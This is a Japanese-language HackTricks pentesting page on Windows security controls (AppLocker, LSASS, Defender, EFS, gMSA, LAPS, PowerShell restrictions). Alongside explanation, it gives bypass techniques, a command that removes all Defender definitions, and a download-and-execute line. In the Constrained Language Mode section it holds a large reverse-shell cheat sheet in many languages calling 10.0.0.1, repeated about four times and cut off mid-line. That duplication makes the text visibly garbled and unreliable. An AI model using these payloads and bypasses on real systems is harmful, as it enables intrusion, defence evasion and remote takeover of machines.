hacktricks/windows-hardening/authentication-credentials-uac-and-efs.md
2023-07-07 23:42:27 +00:00

33 KiB
Raw Blame History

Windowsセキュリティコントロール

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

AppLockerポリシー

アプリケーションホワイトリストは、システム上で存在し実行されることが許可されている承認済みのソフトウェアアプリケーションまたは実行可能ファイルのリストです。その目的は、特定のビジネスニーズに合わない有害なマルウェアや非承認のソフトウェアから環境を保護することです。

AppLockerは、Microsoftのアプリケーションホワイトリストソリューションであり、システム管理者にユーザーが実行できるアプリケーションとファイルを制御する機能を提供します。実行可能ファイル、スクリプト、Windowsインストーラーファイル、DLL、パッケージ化されたアプリ、パックされたアプリインストーラーに対して細かい制御を提供します。
組織がcmd.exeとPowerShell.exeをブロックし、特定のディレクトリへの書き込みアクセスを制限することは一般的ですが、これらはすべて回避できます。

チェック

ブラックリスト/ホワイトリストに登録されているファイル/拡張子を確認します:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

ホストに適用されたAppLockerのルールは、HKLM\Software\Policies\Microsoft\Windows\SrpV2ローカルレジストリから読み取ることもできます。

バイパス

  • AppLockerポリシーをバイパスするための書き込み可能なフォルダの利用: もしAppLockerがC:\Windows\System32またはC:\Windows内の何でも実行を許可している場合、バイパスするために使用できる書き込み可能なフォルダがあります。
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • 一般的に信頼された"LOLBAS's"のバイナリもAppLockerをバイパスするのに役立つことがあります。
  • 不適切に書かれたルールもバイパスできることがあります。
  • たとえば、**<FilePathCondition Path="%OSDRIVE%*\allowed*"/>という場合、allowed**という名前のフォルダをどこにでも作成すると許可されます。
  • 組織はしばしば**%System32%\WindowsPowerShell\v1.0\powershell.exeの実行可能ファイルをブロック**することに焦点を当てますが、他のPowerShellの実行可能ファイルの場所、たとえば%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell_ISE.exeを忘れがちです。
  • DLLの強制は非常に稀に有効化されます。システムに負荷をかけることができ、何も壊れないことを確認するために必要なテストの量が多いためです。そのため、DLLをバックドアとして使用するとAppLockerをバイパスするのに役立ちます
  • ReflectivePickまたはSharpPickを使用して、任意のプロセスでPowershellコードを実行し、AppLockerをバイパスすることができます。詳細については、https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-modeを参照してください。

認証情報の保存

Security Accounts Manager (SAM)

ローカルの認証情報はこのファイルに保存されており、パスワードはハッシュ化されています。

Local Security Authority (LSA) - LSASS

認証情報(ハッシュ化されたもの)は、シングルサインオンのためにこのサブシステムのメモリに保存されます。
LSAはローカルのセキュリティポリシー(パスワードポリシー、ユーザーの権限など)、認証アクセストークンの管理などを行います。
LSAは、ローカルログインの場合はSAMファイル内の提供された認証情報をチェックし、ドメインユーザーの認証にはドメインコントローラと通信します。

認証情報LSASSプロセス内に保存されます。Kerberosチケット、NTおよびLMのハッシュ、簡単に復号できるパスワードなどが含まれます。

LSAのシークレット

LSAはディスクにいくつかの認証情報を保存することがあります

  • Active Directoryのコンピューターアカウントのパスワード到達不能なドメインコントローラ
  • Windowsサービスのアカウントのパスワード
  • スケジュールされたタスクのパスワード
  • その他IISアプリケーションのパスワードなど

NTDS.dit

これはActive Directoryのデータベースです。ドメインコントローラにのみ存在します。

Defender

Microsoft Defenderは、Windows 10およびWindows 11、およびWindows Serverのバージョンで利用可能なアンチウイルスソフトウェアです。WinPEASなどの一般的なペンテストツールをブロックします。ただし、これらの保護をバイパスする方法があります。

チェック

Defender状態を確認するには、PSコマンドレット**Get-MpComputerStatusを実行します(RealTimeProtectionEnabled**の値を確認してアクティブかどうかを確認します):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

列挙するには、次のコマンドも実行できます:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

EFS暗号化ファイルシステム

EFSは、ファイルを対称鍵(ファイル暗号化鍵またはFEKとも呼ばれるで暗号化することによって機能します。その後、暗号化されたFEKは、ファイルを暗号化したユーザーに関連付けられた公開鍵で暗号化され、この暗号化されたFEKは暗号化されたファイルの$EFS 代替データストリームに格納されます。ファイルを復号化するには、EFSコンポーネントドライバーは、$EFSストリームに格納されている対称鍵を復号化するために、ファイルを暗号化したEFSデジタル証明書に一致する秘密鍵を使用します。ここから

ユーザーが要求しなくても、次のような例でファイルが復号化されることがあります。

  • ファイルとフォルダは、FAT32などの別のファイルシステムでフォーマットされたボリュームにコピーされる前に復号化されます。
  • 暗号化されたファイルは、SMB/CIFSプロトコルを使用してネットワーク経由でコピーされる場合、ファイルはネットワークに送信される前に復号化されます。

この方法で暗号化されたファイルは、所有者ユーザー(暗号化したユーザー)によって透過的にアクセスできます。したがって、そのユーザーになることができれば、ファイルを復号化できます(ユーザーのパスワードを変更してログインすることはできません)。

EFS情報の確認

このパスが存在するかどうかを確認して、ユーザーがこのサービス使用したかどうかを確認します:C:\users\<username>\appdata\roaming\Microsoft\Protect

cipher /c <file>\を使用して、ファイルにアクセス権を持つユーザーを確認します。 また、cipher /ecipher /dをフォルダ内で使用して、すべてのファイルを暗号化および復号化することもできます。

EFSファイルの復号化

Authority Systemである場合

この方法では、被害者ユーザーがホスト内でプロセス実行している必要があります。その場合、meterpreterセッションを使用して、ユーザーのプロセスのトークンをなりすますことができます(incognitoimpersonate_tokenを使用)。または、ユーザーのプロセスにmigrateすることもできます。

ユーザーのパスワードを知っている場合

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

グループ管理サービスアカウントgMSA

ほとんどのインフラストラクチャでは、サービスアカウントは「パスワードの有効期限なし」オプションを持つ通常のユーザーアカウントです。これらのアカウントの管理は本当にめんどくさいことになることがあり、それがMicrosoftが管理サービスアカウントを導入した理由です:

  • パスワードの管理が不要です。複雑でランダムな240文字のパスワードを使用し、ドメインまたはコンピュータのパスワードの有効期限が切れると自動的に変更されます。
  • Microsoft Key Distribution ServiceKDCを使用してgMSAのパスワードを作成および管理します。
  • ロックアウトされることはなく、対話型ログインには使用できません。
  • 複数のホストで共有することができます。
  • スケジュールされたタスクを実行するために使用できます(管理サービスアカウントはスケジュールされたタスクの実行をサポートしていません)。
  • 簡素化されたSPN管理 - システムは、コンピュータのsAMaccountの詳細やDNS名のプロパティが変更された場合、自動的にSPN値を変更します。

gMSAアカウントのパスワードは、LDAPプロパティである_msDS-ManagedPasswordに格納されており、DCは30日ごとに自動的にリセットされ、認証された管理者およびインストールされているサーバーによって取得できます。msDS-ManagedPassword_は、接続がセキュリティで保護されている場合LDAPSや認証タイプが「シーリングセキュア」の場合にのみ取得できる暗号化されたデータブロブであり、MSDS-MANAGEDPASSWORD_BLOBと呼ばれます。

Image from https://cube0x0.github.io/Relaying-for-gMSA/

したがって、gMSAが使用されている場合は、特権を持っているかどうかを確認し、サービスのパスワードを読み取る権限があるかどうかも確認してください。

GMSAPasswordReaderを使用してこのパスワードを読み取ることができます。

/GMSAPasswordReader --AccountName jkohler

また、このウェブページでは、NTLMリレーアタックを使用してgMSAパスワード読み取る方法について説明しています。

LAPS

****Local Administrator Password Solution (LAPS)は、ドメインに参加しているコンピュータのローカル管理者パスワードランダム化、一意で定期的に変更されるを管理することができます。これらのパスワードはActive Directoryに集中的に保存され、ACLを使用して認可されたユーザーに制限されています。ユーザーに十分な権限が与えられている場合、ローカル管理者のパスワードを読み取ることができるかもしれません。

{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

PS Constrained Language Mode

PowerShell **** Constrained Language Modeは、PowerShellを効果的に使用するために必要な多くの機能を制限します。これには、COMオブジェクトのブロック、承認された.NETタイプのみの許可、XAMLベースのワークフロー、PowerShellクラスなどが含まれます。

チェック

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

バイパス

Bypassバイパス

#Easy bypass
Powershell -version 2

現在のWindowsでは、このバイパスは機能しませんが、PSByPassCLMを使用することができます。
コンパイルするためには、 参照を追加する必要があります -> 参照の追加 -> 参照の参照 -> 参照の参照 -> C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll を追加し、プロジェクトを .Net4.5 に変更します

直接バイパス:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

リバースシェル:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 10.0.0.1 8080
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm -display 10.0.0.1:1
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 10.0.0.1
set LPORT 8080
exploit
ncat 10.0.0.1 8080 -e /bin/bash
socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 8080 0/tmp/p
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 10.0.0.1 8080
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm -display 10.0.0.1:1
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 10.0.0.1
set LPORT 8080
exploit
ncat 10.0.0.1 8080 -e /bin/bash
socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 8080 0/tmp/p
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 10.0.0.1 8080
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm -display 10.0.0.1:1
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 10.0.0.1
set LPORT 8080
exploit
ncat 10.0.0.1 8080 -e /bin/bash
socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 8080 0/tmp/p
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 10.0.0.1 8080
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm -display 10.0.0.1:1
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 10.0.0.1
set LPORT 8080
exploit
ncat 10.0.0.1 8080 -e /bin/bash
socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotoby
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

ReflectivePickまたはSharpPickを使用して、制約モードをバイパスし、任意のプロセスでPowerShellコードを実行することができます。詳細については、https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-modeを参照してください。

PS実行ポリシー

デフォルトでは、制限が設定されています。このポリシーをバイパスする主な方法は次のとおりです:

 Just copy and paste inside the interactive PS console
 Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
 Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
 Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
 Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
 Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
 Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

詳細はこちらで確認できます。

Security Support Provider Interface (SSPI)

ユーザーの認証に使用できるAPIです。

SSPIは、通信を行いたい2つのマシンに適切なプロトコルを見つける役割を担います。これには、Kerberosが最も一般的に使用されます。その後、SSPIはどの認証プロトコルを使用するかを交渉し、これらの認証プロトコルはセキュリティサポートプロバイダSSPと呼ばれ、各Windowsマシン内のDLLとして存在し、通信するためには両方のマシンで同じサポートが必要です。

主なSSP

  • Kerberos: 最も一般的なもの
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1およびNTLMv2: 互換性のため
  • %windir%\Windows\System32\msv1_0.dll
  • Digest: WebサーバーとLDAP、MD5ハッシュ形式のパスワード
  • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSLおよびTLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate: 使用するプロトコルを交渉するために使用されますデフォルトはKerberos
  • %windir%\Windows\System32\lsasrv.dll

交渉には複数の方法または1つの方法のみが提供される場合があります。

UAC - ユーザーアカウント制御

ユーザーアカウント制御UACは、昇格したアクティビティの承認プロンプトを有効にする機能です。

{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥